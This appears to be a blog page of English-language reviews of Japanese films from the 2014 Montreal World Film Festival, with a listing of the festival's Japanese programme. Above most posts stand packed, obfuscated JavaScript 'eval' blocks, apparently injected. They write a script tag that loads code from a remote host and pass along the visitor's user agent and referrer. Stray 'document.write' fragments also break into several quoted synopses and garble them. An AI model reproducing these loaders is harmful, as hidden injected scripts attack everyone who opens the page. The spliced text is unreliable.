eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytbrf|var|u0026u|referrer|rzafy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfty|var|u0026u|referrer|zsyie||js|php’.split(‘|’),0,{}))

“Reiko has been suffering from memory loss for some time, document.write(“”); but her family doesn’t really seem to notice. One day, she’s examined by a doctor, who discovers that she has a terminal brain tumor and will probably die within a week. As her dementia worsens, Reiko begins to express her true feelings for the first time, such as her fear that the family is falling apart. Meanwhile, her husband is facing bankruptcy and the family has been at odds over everyday problems and mistrusts. Their sons, Kosuke and Shunpei, react to the family troubles in different ways. The older brother, Kosuke, clumsily tries to shoulder the burden of the family while younger brother, Shunpei, gradually dedicates himself to becoming a better son.”

(Text from the Festival’s program)


In this family, the older son is a “recovered” Hikikomori who is now married and whose wife is expecting the first grandchild of the family. The younger son is an unreliable student who keep asking is mother for money. The husband’s company is not making any money so the couple is deeply in debts. When the family notice that the mother is behaving strangely and has memory lapses, they bring her to the doctor. The prognostic is devastating: she has an unoperable brain tumor and won’t probably live more than a week!

The two sons, who just discovered the extant of their parents debts, decide to do something about it. They also decide to seek second opinions on their mother’s diagnosis. After visiting a 6th hospital with their mother’s medical file, a doctor think that it might be a different type of tumor that could be treatable, so he refers them to another hospital and to a young female doctor. After more tests and a biopsy, it is revealed that the tumor is indeed treatable.

Through this ordeal the family — which had been slowly falling apart — is pulling together and it makes the sons to finally mature. I guess it shows that you must never give up. You must keep hope, give all your might and when things are getting though you must keep smilling…

As usual in Japanese cinema, this movie offers us nice imagery, particularly the beautiful landscape. It is a nice and enjoyable movie, but, somehow, I didn’t feel any emotions. Usually such movies will make me cry, but in this case I unfortunately didn’t feel any sadness. Was it me or was there something lacking in the stoytelling or the acting? I am not sure, but it was nevertheless a good story.

Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Scr.: Yuya Ishii (Based on the novel by Kazumasa Hayami); Phot.: Junichi Fujisawa; Ed.: Shinichi Fushima; Mus.: Takashi Watanabe; Cast: Satoshi Tsumabuki (Kosuke), Mieko Harada (Reiko), Sosuke Ikematsu (Shunpei), Kyozo Nagatsuka (Katsuaki), Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa. Film screened at the Montreal World Film Festival on August 25th, 2014 (Cinema Quartier Latin 15, 21h30 – the theatre was three-quarter full with about sixty people) as part of the “World Great” (Out of Competition) segment.
For more information you can visit the following websites:
Our family © 2013 Bokutachi no Kazoku Film Partners.

[ Traduire ]

Blossom Bloom

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhza|var|u0026u|referrer|enzki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ketin|var|u0026u|referrer|berhr||js|php’.split(‘|’),0,{}))

“On first glance, document.write(“”); Shunzuke, 47, seems to have everything, a top job at an electronics company, a loving beautiful wife Akiko, a son Daisuke and a daughter Sakiko and a nice house where he lives with his father Shuntaro. But the respect he gets at work doesn’t extend to the domestic front, especially after Akiko discovered a now-ended affair of his. Meanwhile, Daisuke has skipped university to work in low-end jobs, Sakiko doesn’t talk to him, and Shuntaro is having serious health problems. On the eve of a possible promotion at work, Shunsuke decides that his family comes first.”

(Text from the Festival’s program)


A man who was too busy building a successful career is about to get a big promotion, but then realized that he has never been there for his family. He never listened to his wife, missed all of his daughter parent’s days at school, was not there to support his son when he was having academic difficulties and didn’t notice that his aging father was getting senile. He decide to take everyone on a family trip to bring them together, apologize for his failings and search for the lost memory of his father’s childhood.

Directed by Mitsutoshi Tanaka (who also directed Ask this of Rikyu, presented in competition at last year’s MWFF), it is a beautiful but sad movie about family, the challenges of old age, like dementia, and which shows us the beautiful landscapes of rural Japan (for their trip they travel to the Fukui Prefecture). I think it is also a reflexion on the shifting values of 21st century Japan: what’s the use to work yourself out if you don’t have a nice and enjoyable place to come to after?

Somehow, this movie hit close to home, therefore I personnally found it very touching. It’s a very good and enjoyable movie.

Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Ed.: Shinichi Fushima; Mus.: Ko Otani; Art Des.: Koichi Wakamatsu; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama (Sakiko), Masato Yano (Daisuke), Kanji Tsuda, Kyusaku Shimada, Sumie Sasaki, Ren Osugi. Film screened at the Montreal World Film Festival on August 23rd, 2014 (Cinema Quartier Latin 12, 11h40 – the theatre was tiny but it was nearly three-quarter full; Interestingly, a large part of the audience was made of Japanese ladies and elderly couples!) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Blossom bloom © 2014 Sakurasaku Film Partners.

[ Traduire ]

Tokyo – The city of glass

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebbir|var|u0026u|referrer|badyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdda|var|u0026u|referrer|ynrzf||js|php’.split(‘|’),0,{}))

A powerful tale of madness in Tokyo that explores the nature of sex and love!

“Toru, document.write(“”); a graduate student who runs a bar in Shinjuku Ni-chome, Tokyo’s gay district, meets Yong, a Korean man, and he falls in love. This seemingly ordinary event is somehow linked to a 20-year-old homicide case, and Confession of a Mask by Yukio Mishima is the key connecting them. Toru’s life takes an expected turn when a detective begins investigating two people whom Toru knows, Haruko Agaki, his old university professor, and Yusuke Honma, the lover ofthe victim in the 20-year-old murder. There are skeletons in someone’s closet.”

(Text from the Festival’s program)


This movie is quite interesting because movies rarely talks about the Japanese gay scene — unless they want to make a parody of it. Unfortunately, the storytelling is VERY confusing. There are lots of flashbacks and, for a while, it looks like there is two parallel stories, but they finally meet — very clumsily — in the end. However you eventually get what the story is about. It’s a movie about love, dream, hope, and obsessive narcissism.

Also there is a lot of shonen love in this movie. Way too much or at least more than it is necessary to convey what the movie is about (and many people left the theatre at the first graphic and realistic gay sex scene; Those can be a real turn off for most prudish viewers and, lets be frank here, there are lots of those).

Despite these caveat this is nevertheless a good and enjoyable movie if you are interested in Japanese popular and underground culture.

You can also find an interesting video on Youtube showing the red carpet entrance & presentation of the production team, as well as interviews (all in Japanese unfortunately).
Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 110 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima, Maroka Uchiyama, Ginzi Yoshikawa, Reiko Tajima. Film screened at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 19h00 – the theatre was half full but there was less people at the end) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Tokyo: The city of glass © 2013 Tokyo movie.

[ Traduire @ Google ]
[ Traduire @ Bing ]

One Third

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deeez|var|u0026u|referrer|fbbhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znerf|var|u0026u|referrer|nznda||js|php’.split(‘|’),0,{}))

“Three small-time crooks — [Shuu, document.write(“”); ] manager of the Honey Bunny nightclub, Koji, an ex-motorcycle gang leader turned club waiter, and Big Ken, a Korean BBQ chain owner and club regular — desparate to turn their lifes around, manage to pull a successful bank heist in broad daylight and they return to hide out in Honey Bunny. Although they had agreed to each getting an equal third of the money they stole, their greed gets the better of them, with much bargaining and cheating. It turns out, however, they they are not the only ones after the loot. Will they see any of it all all?”

(Text from the Festival’s program)


Shuu is the manager for the night club “Honey Bunny” and a horse-race gambler. On his way to the bank to deposit the club’s takings he stops at the race tracks. Unexpectedly, he wins but in his excitement loses the bag containing the club’s money. The owner is a ruthless yakuza and he fears for his life. However, his friend Maria, a wanna-be actress, help him get a loan from an even ruthless loan-shark so he can pay back the club’s money. He has one week to pay back the loan or he dies. He persuades his friend Koji, who works at the “Honey Bunny”, and Ken, one of the customer, to rob a bank. They are all deeply in debts and desperate to turn around their life. They succeed but quarrels over dividing the loot. And, to make their tribulation worse, other parties are also interested in getting their hands on the stolen money!

I was expecting this one to be a third-rate film, but it ended up not so bad after all. It has lots of cheeky humour and movie references that make the movie quite enjoyable. Unfortunately, the plot is so circumvolved (plots and counter plots) that it doesn’t really work as each new development make what happened before less credible (but in such comedy, does it really matter?).

Also the premise of the story (a bunch of robbers quarrelling over their loot) is not original at all since I remember seeing a very similar one in another movie titled Crazy-ism. Although this movie is funnier and much more entertaining. Does our trio of incidental robbers succeed to pull through? Actually, we really never know since the movie leaves us with a kind of open ending. Quite clever.
One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara (Shuu), Koki Tanaka (Koji), Ryuichi Kosugi (Ken), Mika Nakashima (Maria), Yosuke Kubozuka (Hama), Shinnosuke Ikehata (Shibugaki), Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono. Film screened at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 14h30 – the theatre was three-quarter full but a few people left after the first half-hour) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
One third © 2014 Sanbun no ichi Production Committee.

[ Traduire ]

Japanese movies at the MWFF 2014

In a press conference last tuesday, document.write(“”); the Montreal World Film Festival announced the programming of its 38th edition, which will be held from August 21st to September 1st. The festival will present 350 films including 160 feature-length movies (of which 100 will be world or international premieres, and 32 North American premieres), and 190 short films. 51 of those fiction features-length movies will be first features (the first film of its director), of which 19 will be in competition. It is less than the previous years but this rich selection from 74 countries is nevertheless quite a feat considering that the festival has been denied nearly one million dollars in subsidies this year! (On this subject, see my post [in french] “Le FFM se prépare à une 38e année difficile”). For more programming details, please read my post “Programmation FFM 2014” [in french] or check the full press release on the festival web site.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsdhk|var|u0026u|referrer|ybzyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adbik|var|u0026u|referrer|sbbhn||js|php’.split(‘|’),0,{}))

The World Film Festival of Montreal will take place from August 21st to September 1st 2014, at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 16 at noon at the offices of the Imperial (CI) and the Latin Quarter (QL) theatres, and ticketing networks from August 22. Individual tickets are $ 10, Passports are $ 100 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website:
www.ffm-montreal.org.

This year the festival is offering us eleven twelve Japanese features movies and three five short films: two feature films [and one short film] in the “World competition” category, three in “Out of competition”, five feature films and three four shorts in the “Focus on World Cinema” [all those short films are conveniently shown together] and one two feature films in the “Tribute to Michael J. Werner” [there’s another movie shown as a tribute to Alain Resnais]. There are no Japanese movies this year in “First Films World Competition”, “Documentary” or the “International selection of the Student Film Festival” categories.

At the press conference announcing the festival’s programming, Serge Losique reiterated his love for Japanese cinema. He tells us that Japan is one of the most film-loving countries in the world and has given us lots of great filmmakers (especially Akira Kurosawa). He tells us also that a Japanese film in competition this year will be accompanied by a host of top Japanese actors. The delegation for this film will include forty-five people, in addition to numerous representatives of Japanese media (from five television stations and eight newspapers)! [You can see the clip of Losique talking Japanese cinema from 1:05 to 2:00 mins on the press conference video that I posted on Vimeo and on my “Programmation FFM 2014” post [in french]]

More information on the festival’s japanese movies can be found on the Facebook page of the Canada-Japan Cultural Exchange magazine, Coco-Montreal.

Update [2014-08-15]: The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!

Update [2014-08-20]: Details on each of the Japanese movies shown at the festival are now available on the festival’s web site.

After the jump, you will find a list of all the Festival’s Japanese movies with description [taken from the festival’s program] and supplemental links (more details and links will be added as the information become available):


The World Competition

  • Cape Nostalgia (???????? / Fushigina Misaki no Monogatari / The Tale Of A Cape): Japan, 2014, 117 min; Dir.: Izuru Narushima; Scr.: (based on Akio Morisawa novel); Prod.: Sayuri Yoshinaga; Cast: Sayuri Yoshinaga (Etsuko), Hiroshi Abe (Koji), Yuko Takeuchi, Tsurube Shofukutei, Takashi Sasano, Eiko Koike, Shota Shunputei, Arata, Takeo Nakahara, Renji Ishibashi.

    “Etsuko Kashiwagi runs the Cape Café in a peaceful little town looking across the sea to distant Mt Fuji. It is the town’s favourite meeting place, where farmers, fishermen, hospital workers, clergy, and even the occasional police officer, gather to taste Etsuko’s special brew and trade gossip. The two most important things in Etsuko’s life are her jack-of-all-trades nephew Koji and the spring water she brings every day from a small island nearby. In every cup Etsuko brews is a prayer for the well-being of her customers, and coffee at her café is an uplifting experience for all. Koji is 45, and devoted to Etsuko, who lives in a shack beside her café. He is hot-tempered, quick to jump to conclusions and a bit of a troublemaker. The winds of change have started to blow through the placid existence of the Cape Café.” (from the Festival’s press release)

    Schedule: Fri 8/29 9:00 CI; Fri 8/29 19:00 CI; Sat 8/30 14:00 CI.

  • The light shines only there (????????? / Soko nomi nite Hikari Kagayaku): Japan, 2014, 120 min.; Dir.: Mipo O; Scr.: Ryo Takada (based on the novel by Yasushi Sato); Cast: Gou Ayano, Chizuru Ikewaki, Masaki Suda, Hiroko Isayama, Taijiro Tamura, Kazuya Takahashi, Shohei Hino.

    “ Tatsuo has given up working and is idling his life away. One day at a Pachinko parlour, he gets to know a coarse but friendly young man, Takuji. Tatsuo accepts Takuji’s invitation and follows him home, which turns out to be a rundown, isolated house. It is here that Tatsuo meets Takuji’s older sister, Chinatsu. They feel a quick mutual attraction and become close, but Chinatsu’s life is difficult as she struggles to support her family. Even so, Tatsuo remains steadfast in his love for Chinatsu, and his unwavering feelings begin to sway her. Since finding a connection with Chinatsu, Tatsuo’s reality quietly begins to regain its colour…” (from the Festival’s press release)

    Schedule: Sun 8/31 9:00 CI; Sun 8/31 19:00 CI; Mon 9/01 14:00 CI.

The World Competition — Short Films

  • Kemukujara: Japan, 2014, 13 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. First episode of the stop motion experimental animation Keblujara. [Facebook]
    Schedule: Wed 8/27 9:00 CI; Wed 8/27 19:00 CI; Thu 8/28 14:00 CI.

World Great (Out of Competition)

  • Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Cast: Satoshi Tsumabuki, Mieko Harada, Sosuke Ikematsu, Kyozo Nagatsuka, Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa.

    The emotional journey of a four-member family that fails to recognize that it is rapidly growing apart until the mother is diagnosed with terminal cancer.

    Schedule: Sun 8/24 11:30 QL15; Mon 8/25 21:30 QL15; Tue 8/26 14:10 QL15.

  • A drop of the grapevine (??????? / Budou no namida / lit. “Tears of Grapes”): Japan, 2014, 117 min.; Dir. & Scr.: Yokiko Mishima; Cast: Yo Oizumi (Ao), Shota Sometani (Roku), Yuko Ando (Erika), Tomorowo Taguchi, Tomoya Maeno, Lily, Kitaro,
    Ren Osugi, Kyoko Enami.

    In Hokkaido, Ao grows grapes for wine while his younger brother, Roku, tends to the wheat field inherited from their father. Then a mysterious women enters their lives.

    Schedule: Sat 8/30 11:40 QL16; Sat 8/30 19:00 QL16; Sun 8/31 14:20 QL16.

  • A courtesan with flowered skin (???? / Hanayoi dochu): Japan, 2014, 102 min; Dir.: Keisuke Toyoshima; Cast: Yumi Adachi (Asagiri), Yasushi Fuchikami (Hanjiro), Ena Koshino, Yoko Mitsuya, Hanako Takigawa, Ayano Tachibana, Saki Takaoka, Tomochika, Kanji Tsuda.

    In 1860s Japan, popular courtesan Asagiri is about to be freed from her indentured service. One day at a local festival she meets a young artisan, Hanjiro, an encounter that changes her destiny.

    Schedule: Thu 8/28 10:00 QL15; Thu 8/28 19:00 QL15; Fri 8/29 17:00 QL15.

Focus on World Cinema

  • Fly, Dakota, Fly! (??! ??? / Tobe! Dakota): Japan, 2014, 109 min; Dir.: Seiji Aburatani; Scr.: Kuniho Yasui, Naoyuki Tomomatsu; Phot.: Shigeru Komatsubara; Prod.: Kiyoshi Mizuno; Cast: Manami Higa, Masataka Kubota, Akira Emoto, Yoriko Douguchi, Kumi Nakamura, Miyoko Yoshimoto, Yukijiro Hotaru, Yukiyo Sono, Minoru Sawatari, Mark Chinnery, Dean Newcombe, Toshiki Ayata, Bengal.

    January 1946. A British military plane carrying diplomats makes a crash landing on the beach in a small village on a remote Japanese island. The pilots need help but the locals were enemies just half a year ago.

    Schedule: Sat 8/30 13:00 QL15; Sat 8/30 21:30 QL15; Sun 8/31 17:00 QL15.

  • Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama, Masato Yano.

    With a highly paid job, a beautiful wife, and two independent teenage kids, not to mention his own father living with him at home, Shunkuze, 47, seems to have it all. But appearances can be deceiving.

    Schedule: Fri 8/22 19:20 QL12; Sat 8/23 11:40 QL12; Sun 8/24 16:40 QL12.

  • A sparkle of life (Sansan): Japan, 2014, 81 min.; Dir.: Bunji Satoyama; Phot.: Shogo Ueno; Ed.: Hitomi Katô; Mus.: Sayaka Asaoka, Asuka Matsumoto; Cast: Kazuko Yoshiyuki, Akira Takarada, Natsue Hyakumoto, Michiyo Miyata, Kanami Tagawa, Masatake Takei, Kei Takushima, Kazuko Tauchi, Yoichi Toyama, Toshiko Tsumura, Gaku Yamamoto.

    Lonely after the death of her husband, whom she nursed for years, 77 year-old Tae Tsurumoto decides to find a new life partner. Her family and friends try to dissuade her.

    Schedule: Wed 8/27 19:20 QL14; Thu 8/28 12:30 QL14; Fri 8/29 14:10 QL14.

  • One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara, Koki Tanaka, Ryuichi Kosugi, Mika Nakashima, Yosuke Kubozuka, Shinnosuke Ikehata, Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono.

    Three small-time crooks desperate to turn their lives around manage to pull off a successful bank hit in broad daylight. But they aren’t the only ones after the loot.

    Schedule: Fri 8/22 14:30 QL15; Sat 8/23 21:50 QL15; Mon 8/25 10:00 QL15.

  • Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 100 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima.

    A graduate student who runs a bar in Shinjuku N-chome, Tokyo’s gay district, meets a Korean man and falls in love, but a 20-year-old homicide case makes this more than a love story.

    Schedule: Fri 8/22 19:00 QL15; Sat 8/23 10:00 QL15; Sun 8/24 14:00 QL15.

Focus on World Cinema — Short Films

  • All He Knows Right: Japan, 2014, 5 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. Second episode of the stop motion experimental animation Keblujara. [Facebook]
  • No return on perishables (Koi ha kangaeruna, ai ha kanjiro): Japan, 2014, 18 min.; Dir.: Takatsugu Naito.
  • Suicide volunteers (Tokko Shigan): Japan, 2014, 25 min.; Dir.: Kenshow Onodera. [IMDb]
  • When the sun falls (Hi-wa-ochiru): Japan, 2014, 39 min.; Dir.: Yuji Kakizaki. [IMDb]
    All four shorts are shown together:
    Schedule: Tue 8/26 21:40 QL13; Wed 8/27 16:20 QL13.

Tributes

  • Norwegian wood (??????? / Noruwei no mori): Japan, 2010, 128 min.; Dir.: Tran Anh Hung; Scr.: Haruki Murakami (based on his novel) & Anh Hung Tran; Phot.: Pin Bing Lee; Prod.: Chihiro Kameyama, Shinji Ogawa; Cast: Kenichi Matsuyama, Rinko Kikuchi, Kiko Mizuhara, Tetsuji Tamayama, Kengo Kora, Reika Kirishima, Eriko Hatsune, Tokio Emoto, Shigesato Itoi, Haruomi Hosono, Yukihiro Takahashi. Shown as part of the tribute to Michael J. Werner.

    Tokyo, the late 1960s. Students around the world are uniting to overthrow the establishment and Toru Watanabe’s personal life is similarly in tumult.

    Schedule: Sat 8/30 21:30 QL12; Sun 8/31 16:10 QL12.

  • Tôkyô Sonata (????????): Japan, 2008, 119 min.; Dir.: Kiyoshi Kurosawa; Scr.: Max Mannix, Kiyoshi Kurosawa, Sachiko Tanaka; Phot.: Akiko Ashizawa; Ed.: Kôichi Takahashi; Mus.: Kazumasa Hashimoto; Cast: Kazumasa Hashimoto, Kyoko Koizumi, Kai Inowaki, Yu Koyanagi, Koji Yakusho, Haruka Igawa. Shown as part of the tribute to Michael J. Werner.

    An ordinary Japanese family slowly disintegrates after its patriarch loses his job at a prominent company, then detours into the comic, the macabre and the sublime.

    Schedule: Thu 8/28 16:30 QL12; Fri 8/29 16:30 QL12.

  • Hiroshima mon amour (???????? / Nij?yojikan no j?ji / lit. “Twenty-four-hour affair”): France / Japan, 1959, 90 min.; Dir.: Alain Resnais; Scr.: Marguerite Duras; Phot.: Michio Takahashi, Sacha Vierny; Mus.: Georges Delerue, Giovanni Fusco; Cast: Emmanuelle Riva, Eiji Okada, Bernard Fresson, Stella Dassas, Pierre Barbaud.

    A French actress filming an anti-war film in Hiroshima has an affair with a married Japanese architect as they share their differing perspectives on war.

    Schedule: Sat 8/30 19:20 QL11.

[ Traduire ]

Case of Kyoko, Case of Shuichi

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtnfy|var|u0026u|referrer|kizrf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihzii|var|u0026u|referrer|trbia||js|php’.split(‘|’),0,{}))

<a href="
http://dl.dropbox.com/u/53330/pics/Case_of_Kyoko, document.write(“”); _Case_of_Shuichi-0001.jpg” target=”“new””>“Minamisanriku, Japan, was devastated by the tsunami of March 11, 2011, with most buildings destroyed by waves of 16 metres or higher, and over half the town’s population swept away or drowned. With 90% of the town gone, there’s no “home” there anymore for former residents Kyoko and Shuichi. For psychological reasons as well: left behind were a mother and a child. What does the future hold for the living?” (Text from the Festival’s program)


Case of Kyoko, Case of Shuichi feels like two movies in one. We follow the path of two characters, Kyoko and Shuichi, who never meet but nearly intersect at the end of the movie—only because they are from the same hometown of Minamisanriku in Miyagi Prefecture. Both of them have commit some sort of ”crime” that forced them to leave their home for Tokyo, where they try to rebuilt their life. Both of them are lonely and adrift, in search for something or someone to anchor their heart. In the wake of the Great East Japan Earthquake and Tsunami, they both decide to go back home, to look for the loved one they left behind (her daughter, his mother).

Kyoko is very unhappy and works as an insurance agent to support her family. The competition amongst her coworkers is fierce and she ends up having an affair with her boss (and with some customers) in order to secure her employment. When this scandalous situation is revealed, she is blamed and shamed by her family. She has to leave her hometown. Can she improve her situation or is she condemned to succumb to the same pitfall?

Shuichi accidentally killed his abusive father in order to protect his mother. After serving time in a juvenile detention center, he finds a job in a small factory in Tokyo. He makes friends and slowly finds acceptance and redemption.

Case of Kyoko, Case of Shuichi is the fifth movie directed by actor Eiji Okuda (his first movie as director, Sh?jo (2001), and his third movie, A Long Walk (2006), were shown at the Montreal Film Festival). He likes small budget movies and instead of hiring big-name actors (probably to save money), the two main roles are played by his daughter (Sakura Ando) and son-in-law (Tasuku Emoto) — I am wondering if it is easier or harder to direct your own daughter; the quality of the performance is the same anyway it seems. The director was present at the festival but had unfortunately left by the time I screened the movie so I missed the opportunity to see him. The theatre was a little more than half full.

